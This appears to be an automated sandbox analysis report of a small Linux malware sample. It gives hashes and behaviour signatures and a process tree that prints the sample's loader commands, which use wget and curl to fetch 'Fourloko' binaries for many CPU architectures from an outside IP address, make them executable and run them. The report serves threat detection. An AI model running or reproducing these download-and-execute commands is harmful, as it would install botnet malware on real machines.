Analysis
-
max time kernel
1s -
max time network
128s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
22-05-2024 03:12
Static task
static1
Behavioral task
behavioral1
Sample
65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral3
Sample
65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118
Resource
debian9-mipsel-20240226-en
General
-
Target
65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118
-
Size
1KB
-
MD5
65cff49fe882fc8af17f71ddf781fba5
-
SHA1
c41bbacedc6d44e4f9b6252336717e4d459c6db3
-
SHA256
fe335e308316646f9f5be84dec1138d3b5202b552a847125fa9fab5c411e0bb0
-
SHA512
58ce86fd049c24af22e91b9f7cae8f4bb48e630f1c6781dddb7c001a59ffeea3624d6716e7a5305800d03d7cfc129b8a61674c761f0d73944f7bc06fc901dd5c
Malware Config
Signatures
-
Executes dropped EXE 10 IoCs
Processes:
awooawooawooawooawooawooawooawooawooawooioc pid process /tmp/awoo 1508 awoo /tmp/awoo 1515 awoo /tmp/awoo 1521 awoo /tmp/awoo 1527 awoo /tmp/awoo 1533 awoo /tmp/awoo 1539 awoo /tmp/awoo 1545 awoo /tmp/awoo 1551 awoo /tmp/awoo 1557 awoo /tmp/awoo 1563 awoo -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118description ioc process File opened for modification /tmp/awoo 65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118
Processes
-
/tmp/65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118/tmp/65cff49fe882fc8af17f71ddf781fba5_JaffaCakes1181⤵
- Writes file to tmp directory
-
/usr/bin/wgetwget http://45.153.203.136/bin/Fourloko.x862⤵
-
/usr/bin/curlcurl -O http://45.153.203.136/bin/Fourloko.x862⤵
-
/bin/catcat Fourloko.x862⤵
-
/bin/chmodchmod +x 65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118 awoo config-err-0n3RLC netplan_feqlvm4_ snap-private-tmp ssh-bEAtp26W9Nzp systemd-private-c7172cc977af4d988b033fc48d53a2fc-bolt.service-NDoJqz systemd-private-c7172cc977af4d988b033fc48d53a2fc-colord.service-lN6YGF systemd-private-c7172cc977af4d988b033fc48d53a2fc-ModemManager.service-ZKS9WW systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-resolved.service-ld4oja systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-timedated.service-5PmINf2⤵
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://45.153.203.136/bin/Fourloko.mips2⤵
-
/usr/bin/curlcurl -O http://45.153.203.136/bin/Fourloko.mips2⤵
-
/bin/catcat Fourloko.mips2⤵
-
/bin/chmodchmod +x 65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118 awoo config-err-0n3RLC netplan_feqlvm4_ snap-private-tmp ssh-bEAtp26W9Nzp systemd-private-c7172cc977af4d988b033fc48d53a2fc-bolt.service-NDoJqz systemd-private-c7172cc977af4d988b033fc48d53a2fc-colord.service-lN6YGF systemd-private-c7172cc977af4d988b033fc48d53a2fc-ModemManager.service-ZKS9WW systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-resolved.service-ld4oja systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-timedated.service-5PmINf2⤵
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://45.153.203.136/bin/Fourloko.mpsl2⤵
-
/usr/bin/curlcurl -O http://45.153.203.136/bin/Fourloko.mpsl2⤵
-
/bin/catcat Fourloko.mpsl2⤵
-
/bin/chmodchmod +x 65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118 awoo config-err-0n3RLC netplan_feqlvm4_ snap-private-tmp ssh-bEAtp26W9Nzp systemd-private-c7172cc977af4d988b033fc48d53a2fc-bolt.service-NDoJqz systemd-private-c7172cc977af4d988b033fc48d53a2fc-colord.service-lN6YGF systemd-private-c7172cc977af4d988b033fc48d53a2fc-ModemManager.service-ZKS9WW systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-resolved.service-ld4oja systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-timedated.service-5PmINf2⤵
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://45.153.203.136/bin/Fourloko.arm42⤵
-
/usr/bin/curlcurl -O http://45.153.203.136/bin/Fourloko.arm42⤵
-
/bin/catcat Fourloko.arm42⤵
-
/bin/chmodchmod +x 65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118 awoo config-err-0n3RLC netplan_feqlvm4_ snap-private-tmp ssh-bEAtp26W9Nzp systemd-private-c7172cc977af4d988b033fc48d53a2fc-bolt.service-NDoJqz systemd-private-c7172cc977af4d988b033fc48d53a2fc-colord.service-lN6YGF systemd-private-c7172cc977af4d988b033fc48d53a2fc-ModemManager.service-ZKS9WW systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-resolved.service-ld4oja systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-timedated.service-5PmINf2⤵
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://45.153.203.136/bin/Fourloko.arm52⤵
-
/usr/bin/curlcurl -O http://45.153.203.136/bin/Fourloko.arm52⤵
-
/bin/catcat Fourloko.arm52⤵
-
/bin/chmodchmod +x 65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118 awoo config-err-0n3RLC netplan_feqlvm4_ snap-private-tmp ssh-bEAtp26W9Nzp systemd-private-c7172cc977af4d988b033fc48d53a2fc-bolt.service-NDoJqz systemd-private-c7172cc977af4d988b033fc48d53a2fc-colord.service-lN6YGF systemd-private-c7172cc977af4d988b033fc48d53a2fc-ModemManager.service-ZKS9WW systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-resolved.service-ld4oja systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-timedated.service-5PmINf2⤵
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://45.153.203.136/bin/Fourloko.arm62⤵
-
/usr/bin/curlcurl -O http://45.153.203.136/bin/Fourloko.arm62⤵
-
/bin/catcat Fourloko.arm62⤵
-
/bin/chmodchmod +x 65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118 awoo config-err-0n3RLC netplan_feqlvm4_ snap-private-tmp ssh-bEAtp26W9Nzp systemd-private-c7172cc977af4d988b033fc48d53a2fc-bolt.service-NDoJqz systemd-private-c7172cc977af4d988b033fc48d53a2fc-colord.service-lN6YGF systemd-private-c7172cc977af4d988b033fc48d53a2fc-ModemManager.service-ZKS9WW systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-resolved.service-ld4oja systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-timedated.service-5PmINf2⤵
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://45.153.203.136/bin/Fourloko.arm72⤵
-
/usr/bin/curlcurl -O http://45.153.203.136/bin/Fourloko.arm72⤵
-
/bin/catcat Fourloko.arm72⤵
-
/bin/chmodchmod +x 65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118 awoo config-err-0n3RLC netplan_feqlvm4_ snap-private-tmp ssh-bEAtp26W9Nzp systemd-private-c7172cc977af4d988b033fc48d53a2fc-bolt.service-NDoJqz systemd-private-c7172cc977af4d988b033fc48d53a2fc-colord.service-lN6YGF systemd-private-c7172cc977af4d988b033fc48d53a2fc-ModemManager.service-ZKS9WW systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-resolved.service-ld4oja systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-timedated.service-5PmINf2⤵
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://45.153.203.136/bin/Fourloko.ppc2⤵
-
/usr/bin/curlcurl -O http://45.153.203.136/bin/Fourloko.ppc2⤵
-
/bin/catcat Fourloko.ppc2⤵
-
/bin/chmodchmod +x 65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118 awoo config-err-0n3RLC netplan_feqlvm4_ snap-private-tmp ssh-bEAtp26W9Nzp systemd-private-c7172cc977af4d988b033fc48d53a2fc-bolt.service-NDoJqz systemd-private-c7172cc977af4d988b033fc48d53a2fc-colord.service-lN6YGF systemd-private-c7172cc977af4d988b033fc48d53a2fc-ModemManager.service-ZKS9WW systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-resolved.service-ld4oja systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-timedated.service-5PmINf2⤵
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://45.153.203.136/bin/Fourloko.m68k2⤵
-
/usr/bin/curlcurl -O http://45.153.203.136/bin/Fourloko.m68k2⤵
-
/bin/catcat Fourloko.m68k2⤵
-
/bin/chmodchmod +x 65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118 awoo config-err-0n3RLC netplan_feqlvm4_ snap-private-tmp ssh-bEAtp26W9Nzp systemd-private-c7172cc977af4d988b033fc48d53a2fc-bolt.service-NDoJqz systemd-private-c7172cc977af4d988b033fc48d53a2fc-colord.service-lN6YGF systemd-private-c7172cc977af4d988b033fc48d53a2fc-ModemManager.service-ZKS9WW systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-resolved.service-ld4oja systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-timedated.service-5PmINf2⤵
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://45.153.203.136/bin/Fourloko.sh42⤵
-
/usr/bin/curlcurl -O http://45.153.203.136/bin/Fourloko.sh42⤵
-
/bin/catcat Fourloko.sh42⤵
-
/bin/chmodchmod +x 65cff49fe882fc8af17f71ddf781fba5_JaffaCakes118 awoo config-err-0n3RLC netplan_feqlvm4_ snap-private-tmp ssh-bEAtp26W9Nzp systemd-private-c7172cc977af4d988b033fc48d53a2fc-bolt.service-NDoJqz systemd-private-c7172cc977af4d988b033fc48d53a2fc-colord.service-lN6YGF systemd-private-c7172cc977af4d988b033fc48d53a2fc-ModemManager.service-ZKS9WW systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-resolved.service-ld4oja systemd-private-c7172cc977af4d988b033fc48d53a2fc-systemd-timedated.service-5PmINf2⤵
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE